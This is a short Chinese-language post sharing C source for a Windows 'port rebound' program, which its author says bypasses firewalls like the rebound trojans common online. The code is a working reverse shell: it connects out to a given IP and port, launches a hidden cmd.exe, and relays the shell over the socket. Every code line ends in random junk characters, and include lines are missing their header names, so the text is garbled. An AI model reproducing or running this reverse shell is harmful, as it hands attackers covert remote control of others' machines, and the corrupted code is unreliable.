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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <Z0N)0|  
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/* ============================== q?9x0L  
Rebound port in Windows NT RV%aFI )  
By wind,2006/7 :!fP~(R'm  
===============================*/ 49e~/YY  
#include _0razNk  
#include o%~PWA*Qp  
Nt>wzPd)  
#pragma comment(lib,"wsock32.lib") sKIpL(_I$  
7KB:wsz^  
void OutputShell(); bD: yu  
SOCKET sClient; ptA-rX.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ts~MkO  
s#nd:$p3  
void main(int argc,char **argv) u'm[wjCj c  
{ *[@k=!73  
WSADATA stWsaData; Pc{0Js5VzE  
int nRet; Q?1' JF!G  
SOCKADDR_IN stSaiClient,stSaiServer; S4'\=w #  
8J5{}4s\f  
if(argc != 3) r@|{mQOxa  
{ CO)BF%?B  
printf("Useage:\n\rRebound DestIP DestPort\n"); w^rINPAS  
return; h 8ND=(  
} MDyPwv\  
4mqA*c%6S  
WSAStartup(MAKEWORD(2,2),&stWsaData); ljS~>&  
9rd7l6$R"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i&%/]Nq  
qi ;X_\v  
stSaiClient.sin_family = AF_INET; vvsQf%  
stSaiClient.sin_port = htons(0); a4B#?p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PX5K-|R  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SL j2/B0  
{ 2V-zmyJs5  
printf("Bind Socket Failed!\n"); zG[GyyAQ  
return; dHAI4Yf4U  
} \nX5 $[  
K~U5jp c  
stSaiServer.sin_family = AF_INET; I_h8)W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cTq}H_hC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zy<gA >  
s={jwI50  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V~9s+>  
{ 3ZAPcpB2  
printf("Connect Error!"); e2P ds`  
return; H7I&Ky  
} @$e!|.{1q  
OutputShell(); <c X\|dM  
} RKt#2%FFO  
3T<aGW1  
void OutputShell() +H'{!:e5  
{ EWr8=@iU  
char szBuff[1024]; pyf/%9R:d  
SECURITY_ATTRIBUTES stSecurityAttributes; }u CC~ <^  
OSVERSIONINFO stOsversionInfo; &idPO{G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %GY U$aA  
STARTUPINFO stStartupInfo; q@"0(Oj  
char *szShell; >~D-\,d|f  
PROCESS_INFORMATION stProcessInformation; (b]r_|'  
unsigned long lBytesRead; p>O>^R  
| M|5Nc>W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AJ:(NV1=  
1pM"j!  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RTEzcJ>  
stSecurityAttributes.lpSecurityDescriptor = 0; NJe^5>4`  
stSecurityAttributes.bInheritHandle = TRUE; G(;C~kHX  
6oQSXB@  
-=+@/@nV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {p70( ]v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pow.@  
v&8%t 7|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -9f> rH\3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I 'qIc ?  
stStartupInfo.wShowWindow = SW_HIDE; j3J\%7^i  
stStartupInfo.hStdInput = hReadPipe; ;;3oWsil}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @_+B'<2  
)6k([u%;B  
GetVersionEx(&stOsversionInfo); <6djdr1:b  
5V{> 82  
switch(stOsversionInfo.dwPlatformId) !n?8'eqWru  
{ &F!Ct(c99  
case 1: AMm)E  
szShell = "command.com"; uxKj7!(#  
break; 9A-=T>|of  
default: ISbhC!59  
szShell = "cmd.exe"; q>E[)\+y  
break; "s6\l~+9l  
} da,Bnze0  
A:?|\r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y9#r SA*  
a@ub%laL Z  
send(sClient,szMsg,77,0); P`HDQ/^O  
while(1) -D4"uoN.  
{ ;ye5HlH}.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [s"e?Qee  
if(lBytesRead) {tN?)~ZQ  
{ WqHsf1? N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %+{[%?xh  
send(sClient,szBuff,lBytesRead,0); T=kR!Gx  
} ?KKu1~a_  
else dpTeF`N  
{ m! 3e>cI  
lBytesRead=recv(sClient,szBuff,1024,0); FthrI  
if(lBytesRead<=0) break; S=N3qBH6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?|`Ba-  
} wUj#ACqB  
} J'=iEI  
CBVL/pxy  
return; #ox &=MY  
}
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